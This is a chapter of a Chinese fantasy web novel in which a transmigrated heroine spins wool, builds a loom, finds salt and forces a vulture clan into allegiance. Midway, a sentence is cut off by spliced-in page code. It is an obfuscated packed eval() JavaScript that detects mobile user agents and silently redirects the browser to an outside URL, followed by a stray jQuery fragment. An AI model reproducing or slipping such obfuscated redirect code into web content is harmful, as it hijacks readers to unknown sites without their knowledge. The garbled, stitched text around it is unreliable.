19. 第 19 章

作品:《穿成野人后,我在兽世开荒称王

    连日的劳累让扶清前阵子伤到的手臂又开始隐隐作痛,她将草药敷在伤处,聊胜于无吧。


    捻着手里的细杆子,手部用力,戳进了那块圆形的木板上,一个简陋版的纺锤就做好了。


    她坐在院子里,初秋的风凉爽干燥,穿过树林竹叶洒在她的脸上,圆润石子铺成的小路延伸出院外,而院墙靠外的那一边,正是围好的羊圈,此时几只羊在里面吃草。


    剪下的羊毛不多,经过除脂漂洗后剩下一团,扶清细致地将这一小坨做成羊毛线,纺锤旋转中,太阳也渐渐西落。


    她在屋子后面设置了浴室,一整个水坑方便泡澡,做成各种味道的硫磺皂整齐地码放在一边,前几日硫磺皂一出世,她就给自己做了一次彻底地精细搓洗,从头到脚,洗完觉得整个人的皮都展开了。


    洗掉一身薄汗,她坐在摇椅上,晃着两根竹子做成的纺针,双手循着记忆笨拙地开始织背心。


    泡过碱水脱脂的毛线仍然有些粗糙,但是经过细密地钩织,保暖性能可以说大大提升,手指的翻转速度越来越快,不一会就织出了一小块布。


    她把半成品放到一边,开始研究梭织用的木板,想要大规模地制作布料,仅靠钩针是远远不够的。


    梭织机的构成并不复杂,她还见过朋友在网上买的那种手工娱乐的小东西,不过是放大一些,整体结构还是相同的。


    她用松木,劈成四根木方片,彼此嵌连,形成稳定的矩形结构外框,并在上下两边的木框上,用匕首挖出等距的齿状卡槽,用来固定穿插经线,在锯齿内方,上下各安插了一根小圆棍,将线条上下分离,防止混线。


    她拿来剩下的毛线,上下缠绕在齿状卡槽中,又从中抽出一条,横着在经线上打结,起到一个起始端的固定作用,然后拿出缠好线的梭子,一块长木片,穿进线条之中,来回翻转,用木梳把线条梳在一起,如此反复,很快,一小块布就做好了。


    提前准备好的样材都已经做好,她决定把幽莹叫来,细细教导,教给她后,自己就可以享受成果了,趁着现在草木还旺盛着,多采些苎麻和荨麻,剥掉茎皮,处理好后做成丝线,就可以大量产出麻布了。


    这个冬季食物的储存不够,所以牛羊的养殖,就放到明年春天,但几只小羊崽还是无碍的。


    欢天喜地参观了扶清的高屋后,幽莹沉浸在自己部落焕然一新的喜悦之中,完全不知道自己接下来会受到怎样的摧残,三天的封闭式教学后,她整个人头发毛躁,神情恍惚,眼下挂着两个大大的黑眼圈,萎靡的样子简直让幽雲震惊。


    而本人完全没有调侃哥哥的心情了,幽莹只是拍拍他的肩,希望他能在扶清手下保重自己,然后就马不停蹄地赶回云狐部落,计划着在入冬之前干一波大的,而远在林渊之内的云狐众人,沉浸在盖新房的喜悦之中,并不知晓全族梦魇已经悄然来临。


    幽莹是个过分能干的人物,回去狠狠摧残少主一番,不过半月,就送来一整套量身定做的小羊毛衣物和一大片粗抹麻布,扶清左看右看都喜欢地不得了,一旁狼耳瞳孔微缩,心里已经明白这位大人的意思。


    天狼族已经成为基建的主力军,他应该知足了。


    扶清不管身边人的细腻心思,整理好行装准备出发,眼下两人正打算趁着时候还早,完成一次彻底的巡林。


    正如扶清所说,森林中的可食用美食太多了,仅仅靠描述,根本不能轻易找见,所以在天狼族几乎所有人都热火朝天地去云狐部落基建时,这位少主陪在大人身边,开始为冬季的食物储备做准备。


    鬣狗在前方引路,挥开四处作乱的叶子,不知道走了多久,一片泥泞的洼地出现在眼前,黑乎乎的泥土泛着油光,鬣狗兴冲冲上去舔舐,四周本来葱郁的枝叶在靠近这一片地的方向,全部发黄泛蔫,挣扎在枯死的边缘。


    这是盐地。


    她蹲下身,手指轻轻蘸了一块,舌尖舔舐瞬间,咸涩发苦的味道充斥口腔,但是来了这么久,直到今天才终于吃到盐巴,她花费大力气,才压抑住再舔一口的冲动。


    四周静寂无声,天狼已经全部去到林渊,能做事的只有狼耳一个,扶清叹口气,手里的人还是不够用,狼耳去收集难搞的蜂蜜还没回来,她眼珠一转,吹了个口哨,带着小鬣狗奔向苍樾野。


    旷野的草已经有些开始泛黄,曾经一只雄狮盘踞在此,其他的生物都要生活在狮子鼻息之下,而作为此地新晋的主人,扶清想到,与鬣狗世代生活在一起的秃鹫一族,她还未正式拜访。


    手指成哨,鬣狗奔腾,一起向秃鹫的聚集地奔去。


    作为苍樾野唯一的兽人族,他们几乎深居简出,生活在高大的悬崖背风处,这片森林边缘的山脊,正是秃鹫的领土。


    望着山崖下堆积的白色粪便,枯枝与兽羽混合其中,扶清停下脚步,站在边缘,浑身散出力量,带有赤色的光晕以她为中心,荡向四方。


    瞬间,四周栖息的鸟类振翅飞出,快速逸散,而作为这些鸟儿的头领,扶清静静等待着,她相信,秃鹫会乖乖出来见人。


    来者是一位年余半百的妇人,她拄着枯枝,面容清瘦阴翳,神情不虞,身上覆盖着浓密的羽发,分不清是由羽毛制成的衣服还是本体外露,头上两根粗大的辫子搭在身前,泛着灰白。


    “小友,何故犯我乌羽崖?”


    身后鬣狗成群,闻言争相吠叫,扶清淡淡抬手,看着山崖上眉头紧皱的妇人,在一片寂静中出声,“我为苍樾野新主,今日特来拜访,想问问视我无物的秃鹫一族,是迁出还是臣服?”


    扶清话音刚落下,这妇人身后倏地窜出一只阴鸷男子,乌发黑眸,苍白的脸上篆着金文,他张开双臂飞出,不顾妇人阻拦,“不过杀了一只老狮子,就敢来我乌羽崖吠叫,真是活腻味了。”


    “这就是乌羽崖的态度吗?”说着手中窜出一片铺天盖地的焰火,直冲那俯冲而下的巨鸟门面而去!


    那男子迅速躲开,但还是被狠狠燎到了羽毛,“能伤到我,算你有点手段。”


    旋即数不清的羽毛化作飞鸟,冲进鬣狗群里撕咬,战成一片。


    如此卑鄙下作的手段让扶清一阵心头火气,不知不觉蔓延了整片山崖的雾气倏地浓郁起来,尚在天空的男子还未感受到,只觉得心口发闷,他的臂膀开始发软,地上化成鸟的羽毛变回原形,被鬣狗撕咬得遍地都是。


    “够了苍兰,回来。”妇人木杖轻轻扣响,雾气竟然有散开的趋势。


    扶清眉心一皱,手中的匕首犹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144155|196141||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如利剑一样刺向那个男子的心口,他为了躲避,直直栽楞下去,被她一绳子套住脖颈,趔趄着倒在地上。


    那妇人呼吸一滞,沉声道,“乌羽崖向来避世,并不参与森林争斗,我族乃是天空霸主,你竟敢强逼至此?”


    扶清转着手腕,“天空?苍樾野无论是一棵草还是一片云,都是我扶清一人的,是老狮子威名逝去太久,让你们有了错觉,以为我也一样人人可欺吗?”


    扶清抱起身边的小狗,“我的使者早就送来友好的信号,你们自认雄踞一方,完全视而不见,既然如此,只好我亲自来了。”


    她抬起眼,旷野的风托举着她的衣袍,“作为新主,今日,我来收回属于自己的地盘。”


    妇人正要发作,一个少女静静走出,“阿姆,退下。”


    妇人胸脯起伏,眼里迸出怨毒之意,但到底还是掩住神色,咬牙退下了。


    少女走到崖边,双臂张开,轻灵地飞到扶清面前,右掌抵住左肩,微微低头行了一礼,“苍苧见过扶清大人。”


    扶清眼底划过笑意,“哦?听闻乌羽崖新旧主交替,想来,你就是新的乌羽少主,苍苧?”


    少女淡笑点头,风吹开她颊边乌黑的发丝,“早就听说扶清大人亦是乌发黑眸,今日一见果然如此,阿姆说得没错,我们乌羽一族历代避世,更不是狼耳那等不择手段攀附之人,只要猎物入眼,秃鹫向来一击即中,大人,您做好准备了吗?”


    她的眼睛瞬间变成亮红色,直视着扶清。


    “要战吗?”扶清掌心升起火焰,语气轻佻,她笑看对方炸起的毛发,和彻底赤红的脖颈。


    火焰跳动在手指尖,一个灵动的腕花,手掌像是变魔术一样张开,一根巨大的枯木浮腾在火焰之上,被映得赤红。


    苍苧瞳孔皱缩,眼睛缓缓褪色,恢复成漆黑的色泽。


    枯木在扶清手掌间来回翻滚,她噙着笑,语调悠然地叙述起一个故事,“传闻栖灵木是神鸟的母亲,乌羽在此诞生又是世代守护者,乌羽一族先祖曾与神木立誓,栖灵木为新生幼鸟提供庇护之所,然后长成的乌羽则以身净化山灵,执掌旷野的死生轮回,但不久前......”


    扶清微微抬高枯木,“我听见了神木,临终的呼唤,这片广袤森野中的唯一一棵栖灵木,走到了生命的尽头,而此后,乌羽再也没了诞灵之所,新生儿数量骤减,也许这个冬天过后,就会彻底枯萎。”


    她捏碎了枯木,“新旧主交替,为的就是寻找乌羽求生之路,而我,拿到了栖灵木的种子,得到了她的传承。”


    枯木的碎屑随风消散,一棵嫩绿色的新生芽苗趁势而起,“现在,我走到你面前,就是你们的求生之路。”


    幼苗在她掌中升起,“我可以解决神木长成前,乌羽幼鸟诞生的阵痛,而你,苍苧,我需要你和乌羽崖至死不悔地效忠。”


    苍苧背在身后的手紧握成拳,她盯着眼前被绿意簇拥的少女,眼里的战意压抑不下,但随即又如潮水褪去,她缓缓弯下身。


    风吹散了手中的火焰,手心破掌而出的绿芽穿过血肉,源源不断地蔓延,扶清勾起唇角,至此,巨木的传承彻底扎根,苍樾野新生的太阳越过山峰彻底升起,光辉普照之下再无阴影遮挡。